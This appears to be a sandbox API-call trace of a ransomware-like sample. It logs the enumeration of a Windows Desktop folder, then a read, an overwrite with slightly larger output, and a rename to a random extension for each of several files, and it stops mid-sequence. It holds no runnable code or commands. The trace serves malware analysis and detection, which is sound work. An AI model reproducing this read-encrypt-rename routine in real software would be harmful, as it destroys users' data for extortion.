lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88a32a50, ftCreationTime.dwHighDateTime=0x1d8bad3, ftLastAccessTime.dwLowDateTime=0x95687e90, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0x95687e90, ftLastWriteTime.dwHighDateTime=0x1d8c0d5, nFileSizeHigh=0x0, nFileSizeLow=0x10538, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWPM.gif", cAlternateFileName="")) returned 1 [0149.552] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd020c470, ftCreationTime.dwHighDateTime=0x1d8ba09, ftLastAccessTime.dwLowDateTime=0x5c7cd330, ftLastAccessTime.dwHighDateTime=0x1d8be5d, ftLastWriteTime.dwLowDateTime=0x5c7cd330, ftLastWriteTime.dwHighDateTime=0x1d8be5d, nFileSizeHigh=0x0, nFileSizeLow=0x9fea, dwReserved0=0x0, dwReserved1=0x0, cFileName="k5kMGOvdN.mp3", cAlternateFileName="K5KMGO~1.MP3")) returned 1 [0149.552] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7912ed0, ftCreationTime.dwHighDateTime=0x1d8b894, ftLastAccessTime.dwLowDateTime=0xbebc720, ftLastAccessTime.dwHighDateTime=0x1d8bac3, ftLastWriteTime.dwLowDateTime=0xbebc720, ftLastWriteTime.dwHighDateTime=0x1d8bac3, nFileSizeHigh=0x0, nFileSizeLow=0x160b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="KGIQ_q.m4a", cAlternateFileName="")) returned 1 [0149.552] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57de900, ftCreationTime.dwHighDateTime=0x1d8bfa2, ftLastAccessTime.dwLowDateTime=0x8262fd00, ftLastAccessTime.dwHighDateTime=0x1d8c07d, ftLastWriteTime.dwLowDateTime=0x8262fd00, ftLastWriteTime.dwHighDateTime=0x1d8c07d, nFileSizeHigh=0x0, nFileSizeLow=0x3836, dwReserved0=0x0, dwReserved1=0x0, cFileName="LlJ3.avi", cAlternateFileName="")) returned 1 [0149.552] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3758f20, ftCreationTime.dwHighDateTime=0x1d8b5da, ftLastAccessTime.dwLowDateTime=0xb4a7cf00, ftLastAccessTime.dwHighDateTime=0x1d8bea4, ftLastWriteTime.dwLowDateTime=0xb4a7cf00, ftLastWriteTime.dwHighDateTime=0x1d8bea4, nFileSizeHigh=0x0, nFileSizeLow=0x7844, dwReserved0=0x0, dwReserved1=0x0, cFileName="orfsAO.odp", cAlternateFileName="")) returned 1 [0149.552] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0c816e0, ftCreationTime.dwHighDateTime=0x1d8c0b9, ftLastAccessTime.dwLowDateTime=0x73f1530, ftLastAccessTime.dwHighDateTime=0x1d8c0e8, ftLastWriteTime.dwLowDateTime=0x73f1530, ftLastWriteTime.dwHighDateTime=0x1d8c0e8, nFileSizeHigh=0x0, nFileSizeLow=0x1031a, dwReserved0=0x0, dwReserved1=0x0, cFileName="p6u3.png", cAlternateFileName="")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac7e00, ftCreationTime.dwHighDateTime=0x1d8b443, ftLastAccessTime.dwLowDateTime=0xbd782a10, ftLastAccessTime.dwHighDateTime=0x1d8bfbe, ftLastWriteTime.dwLowDateTime=0xbd782a10, ftLastWriteTime.dwHighDateTime=0x1d8bfbe, nFileSizeHigh=0x0, nFileSizeLow=0x11b23, dwReserved0=0x0, dwReserved1=0x0, cFileName="qPNadjyauA.gif", cAlternateFileName="QPNADJ~1.GIF")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886c6bb0, ftCreationTime.dwHighDateTime=0x1d8b2f8, ftLastAccessTime.dwLowDateTime=0x271aed10, ftLastAccessTime.dwHighDateTime=0x1d8b8bf, ftLastWriteTime.dwLowDateTime=0x271aed10, ftLastWriteTime.dwHighDateTime=0x1d8b8bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="rUCB3xQFyrda.avi", cAlternateFileName="RUCB3X~1.AVI")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d76ad0, ftCreationTime.dwHighDateTime=0x1d8b373, ftLastAccessTime.dwLowDateTime=0x27456f20, ftLastAccessTime.dwHighDateTime=0x1d8be07, ftLastWriteTime.dwLowDateTime=0x27456f20, ftLastWriteTime.dwHighDateTime=0x1d8be07, nFileSizeHigh=0x0, nFileSizeLow=0xec30, dwReserved0=0x0, dwReserved1=0x0, cFileName="s_b1FQ-e1i.swf", cAlternateFileName="S_B1FQ~1.SWF")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf811cc90, ftCreationTime.dwHighDateTime=0x1d8c012, ftLastAccessTime.dwLowDateTime=0x79874a40, ftLastAccessTime.dwHighDateTime=0x1d8c0b6, ftLastWriteTime.dwLowDateTime=0x79874a40, ftLastWriteTime.dwHighDateTime=0x1d8c0b6, nFileSizeHigh=0x0, nFileSizeLow=0xd7db, dwReserved0=0x0, dwReserved1=0x0, cFileName="tHdXe2-Gmf-Jn.m4a", cAlternateFileName="THDXE2~1.M4A")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bac91b0, ftCreationTime.dwHighDateTime=0x1d8b97e, ftLastAccessTime.dwLowDateTime=0x1a6ebdc0, ftLastAccessTime.dwHighDateTime=0x1d8ba1e, ftLastWriteTime.dwLowDateTime=0x1a6ebdc0, ftLastWriteTime.dwHighDateTime=0x1d8ba1e, nFileSizeHigh=0x0, nFileSizeLow=0x49b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UXGmU pGd2S4zNZsQ.jpg", cAlternateFileName="UXGMUP~1.JPG")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a7ed000, ftCreationTime.dwHighDateTime=0x1d8c0e5, ftLastAccessTime.dwLowDateTime=0x2c1421e0, ftLastAccessTime.dwHighDateTime=0x1d8c0ff, ftLastWriteTime.dwLowDateTime=0x2c1421e0, ftLastWriteTime.dwHighDateTime=0x1d8c0ff, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vIc6iFS.gif", cAlternateFileName="")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5ce9cb0, ftCreationTime.dwHighDateTime=0x1d8bfd2, ftLastAccessTime.dwLowDateTime=0x591eee70, ftLastAccessTime.dwHighDateTime=0x1d8c10b, ftLastWriteTime.dwLowDateTime=0x591eee70, ftLastWriteTime.dwHighDateTime=0x1d8c10b, nFileSizeHigh=0x0, nFileSizeLow=0x15273, dwReserved0=0x0, dwReserved1=0x0, cFileName="vX3drSBDihwq4r.wav", cAlternateFileName="VX3DRS~1.WAV")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6468b400, ftCreationTime.dwHighDateTime=0x1d8beae, ftLastAccessTime.dwLowDateTime=0x4dec0f60, ftLastAccessTime.dwHighDateTime=0x1d8bf4e, ftLastWriteTime.dwLowDateTime=0x4dec0f60, ftLastWriteTime.dwHighDateTime=0x1d8bf4e, nFileSizeHigh=0x0, nFileSizeLow=0x11918, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfRmp.png", cAlternateFileName="")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3786c8f0, ftCreationTime.dwHighDateTime=0x1d8ba80, ftLastAccessTime.dwLowDateTime=0xf377cd70, ftLastAccessTime.dwHighDateTime=0x1d8bbb1, ftLastWriteTime.dwLowDateTime=0xf377cd70, ftLastWriteTime.dwHighDateTime=0x1d8bbb1, nFileSizeHigh=0x0, nFileSizeLow=0xcb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WkR38RGVQJakgoLnK--.swf", cAlternateFileName="WKR38R~1.SWF")) returned 1 [0149.553] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82be6e40, ftCreationTime.dwHighDateTime=0x1d8bd6e, ftLastAccessTime.dwLowDateTime=0xba5b4550, ftLastAccessTime.dwHighDateTime=0x1d8c050, ftLastWriteTime.dwLowDateTime=0xba5b4550, ftLastWriteTime.dwHighDateTime=0x1d8c050, nFileSizeHigh=0x0, nFileSizeLow=0x177e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="yvuwp8ELWkBez.bmp", cAlternateFileName="YVUWP8~1.BMP")) returned 1 [0149.554] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82be6e40, ftCreationTime.dwHighDateTime=0x1d8bd6e, ftLastAccessTime.dwLowDateTime=0xba5b4550, ftLastAccessTime.dwHighDateTime=0x1d8c050, ftLastWriteTime.dwLowDateTime=0xba5b4550, ftLastWriteTime.dwHighDateTime=0x1d8c050, nFileSizeHigh=0x0, nFileSizeLow=0x177e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="yvuwp8ELWkBez.bmp", cAlternateFileName="YVUWP8~1.BMP")) returned 0 [0149.554] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.554] SetErrorMode (uMode=0x0) returned 0x1 [0149.554] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif", lpFilePart=0x0) returned 0x24 [0149.554] SetErrorMode (uMode=0x1) returned 0x0 [0149.555] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\4helm.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.555] GetFileType (hFile=0x1d0) returned 0x1 [0149.555] SetErrorMode (uMode=0x0) returned 0x1 [0149.555] GetFileType (hFile=0x1d0) returned 0x1 [0149.555] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xd105 [0149.555] ReadFile (in: hFile=0x1d0, lpBuffer=0x2889ba0, nNumberOfBytesToRead=0xd105, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2889ba0*, lpNumberOfBytesRead=0x21d4d8*=0xd105, lpOverlapped=0x0) returned 1 [0149.629] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif", lpFilePart=0x0) returned 0x24 [0149.629] SetErrorMode (uMode=0x1) returned 0x0 [0149.629] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\4helm.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.631] GetFileType (hFile=0x1d0) returned 0x1 [0149.631] SetErrorMode (uMode=0x0) returned 0x1 [0149.631] GetFileType (hFile=0x1d0) returned 0x1 [0149.631] WriteFile (in: hFile=0x1d0, lpBuffer=0x2990cf8*, nNumberOfBytesToWrite=0xd110, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2990cf8*, lpNumberOfBytesWritten=0x21d558*=0xd110, lpOverlapped=0x0) returned 1 [0149.634] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif", lpFilePart=0x0) returned 0x24 [0149.634] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif.4ooklf", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif.4ooklf", lpFilePart=0x0) returned 0x2b [0149.634] SetErrorMode (uMode=0x1) returned 0x0 [0149.634] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\4helm.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe35870, ftCreationTime.dwHighDateTime=0x1d8b196, ftLastAccessTime.dwLowDateTime=0x3ef9fa10, ftLastAccessTime.dwHighDateTime=0x1d8bdc0, ftLastWriteTime.dwLowDateTime=0x55acb4c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xd110)) returned 1 [0149.635] SetErrorMode (uMode=0x0) returned 0x1 [0149.635] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\4helm.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\4HElM.gif.4ooklf" (normalized: "c:\\users\\keecfmwgj\\desktop\\4helm.gif.4ooklf")) returned 1 [0149.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi", lpFilePart=0x0) returned 0x23 [0149.636] SetErrorMode (uMode=0x1) returned 0x0 [0149.637] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\bhv2.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.637] GetFileType (hFile=0x1d0) returned 0x1 [0149.637] SetErrorMode (uMode=0x0) returned 0x1 [0149.637] GetFileType (hFile=0x1d0) returned 0x1 [0149.637] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x14a05 [0149.637] ReadFile (in: hFile=0x1d0, lpBuffer=0x299ed30, nNumberOfBytesToRead=0x14a05, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x299ed30*, lpNumberOfBytesRead=0x21d4d8*=0x14a05, lpOverlapped=0x0) returned 1 [0149.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi", lpFilePart=0x0) returned 0x23 [0149.731] SetErrorMode (uMode=0x1) returned 0x0 [0149.731] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\bhv2.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.743] GetFileType (hFile=0x1d0) returned 0x1 [0149.743] SetErrorMode (uMode=0x0) returned 0x1 [0149.743] GetFileType (hFile=0x1d0) returned 0x1 [0149.743] WriteFile (in: hFile=0x1d0, lpBuffer=0x28cfc08*, nNumberOfBytesToWrite=0x14a10, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x28cfc08*, lpNumberOfBytesWritten=0x21d558*=0x14a10, lpOverlapped=0x0) returned 1 [0149.747] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi", lpFilePart=0x0) returned 0x23 [0149.747] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi.2nvuto", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi.2nvuto", lpFilePart=0x0) returned 0x2a [0149.747] SetErrorMode (uMode=0x1) returned 0x0 [0149.747] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\bhv2.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64642c0, ftCreationTime.dwHighDateTime=0x1d8bf26, ftLastAccessTime.dwLowDateTime=0x507135f0, ftLastAccessTime.dwHighDateTime=0x1d8c046, ftLastWriteTime.dwLowDateTime=0x55bd5e60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x14a10)) returned 1 [0149.747] SetErrorMode (uMode=0x0) returned 0x1 [0149.747] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\bhv2.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\bhV2.avi.2nvuto" (normalized: "c:\\users\\keecfmwgj\\desktop\\bhv2.avi.2nvuto")) returned 1 [0149.749] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a", lpFilePart=0x0) returned 0x24 [0149.750] SetErrorMode (uMode=0x1) returned 0x0 [0149.750] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\ct oa.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.750] GetFileType (hFile=0x1d0) returned 0x1 [0149.750] SetErrorMode (uMode=0x0) returned 0x1 [0149.750] GetFileType (hFile=0x1d0) returned 0x1 [0149.750] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x12c00 [0149.750] ReadFile (in: hFile=0x1d0, lpBuffer=0x28e5438, nNumberOfBytesToRead=0x12c00, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28e5438*, lpNumberOfBytesRead=0x21d4d8*=0x12c00, lpOverlapped=0x0) returned 1 [0149.776] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a", lpFilePart=0x0) returned 0x24 [0149.776] SetErrorMode (uMode=0x1) returned 0x0 [0149.777] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\ct oa.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.780] GetFileType (hFile=0x1d0) returned 0x1 [0149.780] SetErrorMode (uMode=0x0) returned 0x1 [0149.780] GetFileType (hFile=0x1d0) returned 0x1 [0149.780] WriteFile (in: hFile=0x1d0, lpBuffer=0x29fd688*, nNumberOfBytesToWrite=0x12c10, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x29fd688*, lpNumberOfBytesWritten=0x21d558*=0x12c10, lpOverlapped=0x0) returned 1 [0149.784] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a", lpFilePart=0x0) returned 0x24 [0149.784] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a.lgpv2r", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a.lgpv2r", lpFilePart=0x0) returned 0x2b [0149.784] SetErrorMode (uMode=0x1) returned 0x0 [0149.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\ct oa.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c02f30, ftCreationTime.dwHighDateTime=0x1d8b5bc, ftLastAccessTime.dwLowDateTime=0xbdf8ab70, ftLastAccessTime.dwHighDateTime=0x1d8b8bd, ftLastWriteTime.dwLowDateTime=0x55c48280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x12c10)) returned 1 [0149.784] SetErrorMode (uMode=0x0) returned 0x1 [0149.784] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\ct oa.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\ct OA.m4a.lgpv2r" (normalized: "c:\\users\\keecfmwgj\\desktop\\ct oa.m4a.lgpv2r")) returned 1 [0149.787] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif", lpFilePart=0x0) returned 0x25 [0149.787] SetErrorMode (uMode=0x1) returned 0x0 [0149.787] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\dcw lt.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.787] GetFileType (hFile=0x1d0) returned 0x1 [0149.787] SetErrorMode (uMode=0x0) returned 0x1 [0149.787] GetFileType (hFile=0x1d0) returned 0x1 [0149.787] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x1f2e [0149.787] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a110c8, nNumberOfBytesToRead=0x1f2e, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2a110c8*, lpNumberOfBytesRead=0x21d4d8*=0x1f2e, lpOverlapped=0x0) returned 1 [0149.849] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif", lpFilePart=0x0) returned 0x25 [0149.849] SetErrorMode (uMode=0x1) returned 0x0 [0149.849] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\dcw lt.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.851] GetFileType (hFile=0x1d0) returned 0x1 [0149.851] SetErrorMode (uMode=0x0) returned 0x1 [0149.851] GetFileType (hFile=0x1d0) returned 0x1 [0149.851] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e7d10*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x28e7d10*, lpNumberOfBytesWritten=0x21d558*=0x1f30, lpOverlapped=0x0) returned 1 [0149.853] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif", lpFilePart=0x0) returned 0x25 [0149.853] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif.zm242x", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif.zm242x", lpFilePart=0x0) returned 0x2c [0149.854] SetErrorMode (uMode=0x1) returned 0x0 [0149.854] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\dcw lt.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17f4f660, ftCreationTime.dwHighDateTime=0x1d8b3d7, ftLastAccessTime.dwLowDateTime=0x7583630, ftLastAccessTime.dwHighDateTime=0x1d8b90b, ftLastWriteTime.dwLowDateTime=0x55ce0800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1f30)) returned 1 [0149.854] SetErrorMode (uMode=0x0) returned 0x1 [0149.854] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\dcw lt.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\dcW LT.gif.zm242x" (normalized: "c:\\users\\keecfmwgj\\desktop\\dcw lt.gif.zm242x")) returned 1 [0149.856] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc", lpFilePart=0x0) returned 0x29 [0149.856] SetErrorMode (uMode=0x1) returned 0x0 [0149.856] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc" (normalized: "c:\\users\\keecfmwgj\\desktop\\dkq_7ephig.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.856] GetFileType (hFile=0x1d0) returned 0x1 [0149.856] SetErrorMode (uMode=0x0) returned 0x1 [0149.856] GetFileType (hFile=0x1d0) returned 0x1 